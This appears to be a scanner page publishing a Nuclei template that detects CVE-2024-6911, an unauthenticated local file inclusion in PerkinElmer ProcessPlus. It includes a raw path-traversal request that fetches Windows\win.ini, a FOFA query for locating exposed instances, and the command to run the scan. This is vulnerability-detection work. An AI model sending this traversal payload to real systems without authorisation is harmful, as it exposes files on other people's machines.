PerkinElmer ProcessPlus <= 1.11.6507.0 - Local File Inclusion

ID: CVE-2024-6911

Severity: high

Author: s4e-io

Tags: cve,cve2024,processplus,intrusive,lfi,seclists

Description

Files on the Windows system are accessible without authentication to external parties due to a local file inclusion in PerkinElmer ProcessPlus.This issue affects ProcessPlus through 1.11.6507.0.

YAML Source

id: CVE-2024-6911

info:
  name: PerkinElmer ProcessPlus <= 1.11.6507.0 - Local File Inclusion
  author: s4e-io
  severity: high
  description: |
    Files on the Windows system are accessible without authentication to external parties due to a local file inclusion in PerkinElmer ProcessPlus.This issue affects ProcessPlus through 1.11.6507.0.
  reference:
    - http://seclists.org/fulldisclosure/2024/Jul/13
    - https://cyberdanube.com/en/en-multiple-vulnerabilities-in-perten-processplus/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6911
    - https://github.com/adminlove520/pocWiki
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2024-6911
    cwe-id: CWE-552
    epss-score: 0.00043
    epss-percentile: 0.09524
    cpe: cpe:2.3:a:perkinelmer:processplus:1.11.6507:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: perkinelmer
    product: processplus
    fofa-query: '"Process Plus" && icon_hash="1772087922"'
  tags: cve,cve2024,processplus,intrusive,lfi,seclists

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /ProcessPlus HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"<title>Process Plus - Perten Instruments</title>")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /ProcessPlus/Log/Download/?filename=..\..\..\..\..\..\Windows\win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"bit app support","fonts","extensions")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220222422270814dd0a211bdf51154e4c25b4d02ffc6f2735fc67817b818a9f4bf00221008235b353191f249dc7ea50a31b6ebd30e71e7322f1cd83cf71c499455752c7ae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-6911.yaml"

View on Github